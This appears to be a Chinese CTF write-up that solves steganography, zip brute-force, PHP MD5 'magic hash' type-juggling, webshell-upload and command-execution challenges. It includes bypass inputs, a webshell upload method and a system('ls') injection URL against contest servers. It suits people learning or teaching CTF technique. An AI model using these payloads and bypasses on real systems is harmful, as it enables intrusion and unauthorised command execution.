Zha3B2Vmtac2RHUkZkRlpTYlZKWlZGVm9iMkZYU2xkWGJuQlhUVzVvZGxsWGVFdFhSbFoxVTJ4V1YySkdWalJXVkVaaFZtMVdXRlZyYUZCV01taFlXVlJPUTA1V1draGxSMFpxVFZad01GVXlkR3RYUjBaeVRsWm9WMkV4V21oWlZWcDNVbXhhV1dGR1VsZGlhMHBLVjJ4V1lWUXhXWGhUYms1cVVsaFNXRmxyWkZKTlJteHhVMnR3YkZKdFVscFpWV1JIVlRGWmVXRkljRmRXZWtVd1YxWmFhMUl4Vm5OWGJVWlRZWHBXZVZkWGRHRmtNbFpIVm01U1QxWlViRzlaYkZaM1UyeFdXR1JIT1ZkTlZXdzJXVlZvWVZZeFdrWmpSWGhYVFZad01scFhlSGRTTVhCSFZHMXNWRkpWY0RKV2JURXdWVEZOZUZOWWJGVmlhM0JQVm0weFUySXhWbkZVYlRsWFZteGFlRlpITURWWFJscHpZMFZvV0dFeWFISldha0Y0VmpGa2NtRkdaRTVpYkVwWlZteFNTMU14V25OYVNGWlVZa2RTY0ZZd1drdGlNV1J6V2tSU2FFMXJOWHBYYTJoVFZVWlplV0ZHVWxkaE1WcG9WakZhYTFaV1JuUlBWM0JPVm0xM01WWlVTalJqTVZaMFVsaGtUMVl5YUZoWmEyUlRWa1phVmxkdVpGTmlSMUo2VmtjeGQyRldTWGhUV0dSWVZteGFhRlpFU2tkWFJrcFpXa2R3VTFKWVFsbFhWbEpIWkRKR1IxZHVSbFJpUlhCelZtMXpNVmRzYkZaWGJUbG9WakJXTkZrd1dtRlhSbHAwVlZSQ1ZtVnJXbnBXYWtaclpGWldjazVXWkdobGJGcFhWbTB3ZUU1R2JGWk5WV1JxVWxad2FGVnNaRk5pTVZwMFpFaGtiRlp0ZEROV1YzUlBWakF4VjJKRVdsZFNiRXBJVm1wQmVHTldTbkpsUm1ScFVtNUNUVmRyV21GaE1rMTVWR3RvYUZJeWFFOVdNRlpMVFd4YWNWSnNUbE5OVjNoWVZURm9jMVp0UlhsVmJGWmFZbGhOZUZsVldsZGpNVlp6V2tkc1RsZEZTbHBYYkZaaFpERlNkRk5yWkdsU1JrcFlWbXBPVTFWR1duRlJXR2hxWWxWd1JsWlhlR3RoVmtsNVlVUmFWMkpZVW5KVmJURlhWMFpLY2xwSFJsTmlhMHAyVmtaa05GTXdNWE5YYmxKT1ZrWktZVlpxUmt0VFZscDBaRWM1VmsxcldUSldiWE0xVmpKS1ZWWnJVbGROYm1oeVdYcEdZV1JIVWtkVWF6Vm9UVmhCTVZacldtRlpWMDE0Vm01U1UxZElRbE5aYTJRMFdWWmFjbFp0Ums1TlZuQlhWakl4UjFaR1NYaFhhMmhhVFVkUk1GbFdXbUZXTWs1R1lrWm9WMUpWY0c5WFZsSkxVakZLY2sxV1pHbFNhM0J2V1ZST1ExZHNXbkZSYlRsU1RWVTFTRll5TlZOVWJGcDBWV3hvVlZac1ZYaGFWM2h6WTJ4d1NWUnNXazVoTTBKTFZsWmpNV0V4V1hsVGJHeFdZbXR3VmxsVVJuZGpiRlp4VW01a1UwMXJXa2xhVlZwUFlrZEtXV0ZFVGxkaE1YQm9WMVphVG1WR1VuSmFSbWhZVWpOb1VWWnRlRzlWTVdSWFZtNUdVbUp0VWxoVVZscHpUbFpTYzFadGRGZE5WbkI2V1d0U1lWWXhXalpTYmxwWFlsUkdTRmt5ZUd0a1IwWkhWMnMxVTAxVmNGcFdiR1IzVWpGVmVWUllhRmhpYkVwd1ZXMXpNV05HYkZWUmJIQk9VbXh3TUZwVlpFZFhiRmwzWWtSV1ZtSkhhSFpXTUZwclUwZEdSMVpzY0dsWFJURTBWMVJHWVZZeVVraFdhMXByVW0xU1QxWnROVU5PVmxwMFRVaG9VMDFyV2toVk1qVlRZVEZLUjFkdFJtRldNMDE0V2tkNFlXTldSbGxoUm1oVFlrWnZlRmRYZEdGV01rWlhVMjVXVW1KdGVGaFphMXBMVkVaV2RFMVdaR3BOVlhBeFZrY3hkMVV5U2xkVGJtUlhZbGhTV0ZVeU1WZGpNWEJKVkd4a2FWZEdTbFpYVjNoaFdWWmtSMWRZYkU5V2JWSllWbXBDZDFOV2JGWmhSVTVZWWtkU1NsVlhlRzlXTURGMVlVaEtWMDFIVWxoVk1GVTFWakZrY2s1V1pHbGhNSEJoVm0wd2QyUXdNVmRUV0doWFlteEtWVmxyV25kWFZteHlWMjFHV0ZKdGVIcFdWM1JoVkd4S2MyTklhRlppV0dneldXdGFZVlpXU25OYVJtaG9UVmhDZVZadGNFSmxSazVYVW01S2FGSnRhRmhWYkZaM1ZsWmFXR05GWkZwV01ERTBWMnRvUjFkSFNrWmpSbWhXWWtad00xWXhXbXRXTVhCRlVXMTBUbFpyY0VsV2Fra3hWREZrU0ZKWWNGWmlSMmhZV1d4b1UyRkdjRmhsU0VwclRWaENSbFpYTVc5Vk1WcEdVMWh3VjFaRmJ6QlZla1phWkRBeFYyRkhhRk5TVkZaWVYxWmtNR1F4VlhoalJscFlZa1UxY1ZSV2FFTlRSbHAwVFZoT2FGWnJjRnBWVjNCWFZqSktTRlJxVW1GV00wNDBWbXBHVjFkWFJrZFhiV3hUWW10S1dsWXhZM2RsUmxWNFdrVmthVk5GY0ZsWmJYTXhWVVpXZEUxV1RteFdiSEJaV2tWVk5WZEdTWGRqUldoYVlURktWRlp0TVV0WFZrWnpVV3hrYVZJeFNrMVdWM0JIWVRKU1YxUnVUbUZTVkZaVVZGWldkMVJzV25OVmEwNW9UVlZzTkZVeU5VdFZSbHAwVlcxb1ZtRnJjSFpXUkVaaFpFVTFWbFJzVm1sU2JrRjNWMnRXWVZReFZYZE5WbVJwVWtaYVdGWnFUbE5rYkZweFUydGFiRll4V2toV01uaDNWMFpPUmxOcVdsZGlXRkpvV1hwS1QyTXlUa1pXYkZab1pXeGFXVmRYZEc5Uk1VNXpXa2hPVjJKVldtRldiWGhIVGtaWmVHRkhkRmhTTUZZMVdsVmFhMVpXV2paV2JGSmFWbFp3ZWxZd1pGZFNiVkpJWkVaT1RsWnVRa3RXYkdONFRrZEZlVkpzWkZSaWJGcFRWakJvUTFkV2JGVlRiRXBPVW0xU1dGZHJWVFZXTURGWFUycEdWazFxUmtoV1ZFRjNaREZPZFZkc2FHbFNNVVYzVmpGYVlXRXhXWGhhU0ZaVllsVmFWRlZ0ZEhka2JGcEhWMjFHVjAxRVZraFdNV2h6VkRGYWRGVnNaRnBpUmxwb1dsZDRjbVF4WkhSUFZtaHBWbGhDU2xkV1ZtOVpWbVJ6VjJ4a2FsSnRhR0ZVVmxwM1ZFWndSbHBHVGxOTmExcElWa2N4YjFSck1VWmhNMmhYWWxoQ1RGUlZXbk5XTVdSWllrWk9hVkl4U2xaV2FrSnJZakZhVjJKSVVteFRSMUpaVlcxNFlVMUdjRlpXYWtKV1RWVndlbFp0Y0ZkWGJWWnlUbGhhV2xZelRqUldNRnBYWTFaS2MxcEdaR3hoTVZsNlZtMTRVMUZ0VVhsV2EyUlZZbXMxVkZsclpGTlhSbkJZWkVWd1RsSnNjRWxhUldSSFlVVXhWbUpFVWxoaE1taFlWbXhrUzFkSFJrZFdiRnBwVW10d1dWWnFSbUZaVm1SSVZHdGFWV0pIVWs5VmExcGhVMVprVjFWck9XaE5WMUpKVlRJMVMxUXhXblJoUmxwWFlrWndURlV3V2xabFJtUjFWR3hrYVZKdVFqWldhMlEwWVRGU2MxTnJXbGhoTW5oWlZtdFdTMk5zYkhGU2JYUnJVbXh3TVZVeWVHOWhWMFY2VVcwNVYxWjZSVEJhUkVGM1pVWmFkVkpzVG1sU1ZGWjRWMVpvZDFZeFpFZGFTRXBoVW5wc1ZsbHJXbk5PYkZwWFlVaGtWMDFyY0ZaVlYzQlRXVlpLUmxkck9XRlNSVVkwVm0xNGQxSXhaSE5oUms1T1lsZG9hRlpxUm1wbFJUVkhWRmhvV0dKSFVuQlZiWGhoVmtac2RFMVdUbGhTYkhBd1ZGWlNVMkpHV25OaVJGWlZZa2RSZDFacVFYaGpiVTVHWVVad1RsSXlaM3BXYlhCQ1pVZFNWMVp1VmxSaVIxSlVWRlJCTUUxR1duUmpSV1JvVFdzMU1GVnRkR3RYUjBwWVpVWlNXbFpGTlVOVVYzaGhaRWRXU0ZKc2NGZGlSM2N3Vm1wS05GbFdVbk5YYkdSWVlsUnNhRlpxVGtOUk1WRjRVbFJzVVZWVU1Eaz0=
编写代码直接解
#coding:utf-8
import base64
fb = open('base.txt','r')
txt = fb.readlines()[0]
while True:
try:
txt = base64.b64decode(txt)
finally:
print (txt)
misc（3）：可爱的图片 200
file:///root/Desktop/cute.jpg（文件放在压缩包里）
tips:好可爱啊！
wp:先使用Linux下的binwalk 跑一下
root@kali:~/Desktop# binwalk cute.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
44559 0xAE0F Zip archive data, encrypted at least v2.0 to extract, compressed size: 69, uncompressed size: 63, name: flag.txt
44756 0xAED4 End of Zip archive, footer length: 22
知道这个类型为jpg的图片之后藏了一个zip的文件，所以直接使用命令foremost一下：
root@kali:~/Desktop/output# ls
audit.txt jpg zip
发现这有个zip文件，打开发现需要密码，直接爆破
root@kali:~/Desktop/output/zip# fcrackzip -b -c a -u -v -l 1-5 00000087.zip
found file 'flag.txt', (size cp/uc 69/ 63, flags 1, chk ec47)
checking pw xavdx
PASSWORD FOUND!!!!: pw == xuexi
找到密码是xuexi，然后解压这个压缩包：
root@kali:~/Desktop/output/zip/xuexi# cat flag.txt
http://43.240.12.227:48086/38c88b8b2dcc2c90503423acb4d2053c.php
打开网页得到flag：flag{ffo7meWK4014b6d50f1f}
、
web（1）：PHP特性1 300
tips：你了解鲜为人知的PHP特性吗？
wp：<?php
error_reporting(0);
include_once 'flag.php';
$user = substr($_GET['user'], 0, 10);
$pass = substr($_GET['pass'], 0, 10);
if (($user != $pass) and (md5($user) == $pass)) {
echo $flag;
}
show_source(__FILE__);
?>
分析代码知道是提交两个值：user&pass，user！=pass，而且md5加密后的user应该等于pass
从网上找到部分值：
40610708 == 0e462097431906509019562988736854
QNKCDZO == 0e830400451993494058024219903391
!1793422703! == 0e332932043729729062996282883873
s878926199a == 0e545993274517709034328855841020
s155964671a == 0e342768416822451524974117254469
s214587387a == 0e848240448830537924465865611904
s214587387a == 0e848240448830537924465865611904
s878926199a == 0e545993274517709034328855841020
s1091221200a == 0e940624217856561557816327384675
s1885207154a == 0e509367213418206700842008763514
s1502113478a == 0e861580163291561247404381396064
s1885207154a == 0e509367213418206700842008763514
s1836677006a == 0e481036490867661113260034900752
s155964671a == 0e342768416822451524974117254469
s1184209335a == 0e072485820392773389523109082030
s1665632922a == 0e731198061491163073197128363787
s1502113478a == 0e861580163291561247404381396064
s1836677006a == 0e481036490867661113260034900752
s1091221200a == 0e940624217856561557816327384675
s155964671a == 0e342768416822451524974117254469
s1502113478a == 0e861580163291561247404381396064
s155964671a == 0e342768416822451524974117254469
s1665632922a == 0e731198061491163073197128363787
s155964671a == 0e342768416822451524974117254469
s1091221200a == 0e940624217856561557816327384675
s1836677006a == 0e481036490867661113260034900752
s1885207154a == 0e509367213418206700842008763514
s532378020a == 0e220463095855511507588041205815
然后提交：http://43.240.12.227:48082/?user=QNKCDZO&pass=0e830400451993494058024219903391
flag{dao7a8iJdq4e95421771} 、
<?php
error_reporting(0);
include_once 'flag.php';
$user = substr($_GET['user'], 0, 10);
$pass = substr($_GET['pass'], 0, 10);
if (($user != $pass) and (md5($user) == $pass)) {
echo $flag;
}
show_source(__FILE__);
?>
得到flag：flag{dao7a8iJdq4e95421771}
web（2）：PHP特性2 300
tips：你了解鲜为人知的PHP特性吗？
<?php
error_reporting(0);
include_once 'flag.php';
$user = $_GET['user'];
$pass = $_GET['pass'];
if ( ($user != $pass) and ( md5($user) == md5($pass) )) {
echo $flag;
}
show_source(__FILE__);
?>
从php代码可以看出，我们需要提交user和pass两个字段，user和pass字段不能相等，但MD5加密后的user应与pass需要相等
在php中0e999即被认为是0（php中XeY代表X*（10的Y次方））
提供一批md5为'0exxxx'的字符串：
s1091221200a == 0e940624217856561557816327384675
s155964671a == 0e342768416822451524974117254469
s1502113478a == 0e861580163291561247404381396064
s155964671a == 0e342768416822451524974117254469
s1665632922a == 0e731198061491163073197128363787
s155964671a == 0e342768416822451524974117254469
s1091221200a == 0e940624217856561557816327384675
s1836677006a == 0e481036490867661113260034900752
s1885207154a == 0e509367213418206700842008763514
s532378020a == 0e220463095855511507588041205815
s878926199a == 0e545993274517709034328855841020
s1091221200a == 0e940624217856561557816327384675
s214587387a == 0e848240448830537924465865611904
s1502113478a == 0e861580163291561247404381396064
找两个字符串，然后提交，即可获取flag
web(3):PHP特性3 400
tips:听说你们很懂PHP特性？
wp:四个变量值a1,a2,a3,a4
首先分析程序，判断文件内容是不是hello world，如果是的话可以进入下一步，绕过a1的方式有两个，1是PHP伪协议，2是文件包含，我用的方法是1，因为没找到公网的服务器让我放文件，burp里放hello world,php://input,绕过之后显示：你好啊，burp可见.
然后a2的值是一个比666666*666666（几个六我也忘了，反正构造就完了），然后进入a3，
a3这个地方采用的是科学计数法，6.66e2，直接过，得到提示：你已经很接近flag了，
最后一个，溢出，疯狂扣6，得到flag
web(4):文件上传 500
tips:猜猜我在哪里了？
wp:
原解题wp：
上传jpg图片发现默认改为php，挂一个大马，上传，使用burp intruder暴力破解随机数，通过得到的php登录，搜索带有flag字样文件或文件夹匹配
现在的解题思路：
由于随机数为99，所以人为批量上传大马，直接登录，得flag
web(5):简单的命令执行 200
tips: 你能读取到我的flag吗？
http://45.125.35.156:48080/?Hacker=system(%27ls%27)
使用Linux命令查看：
既然直接有flag.txt,那么执行cat flag.txt即可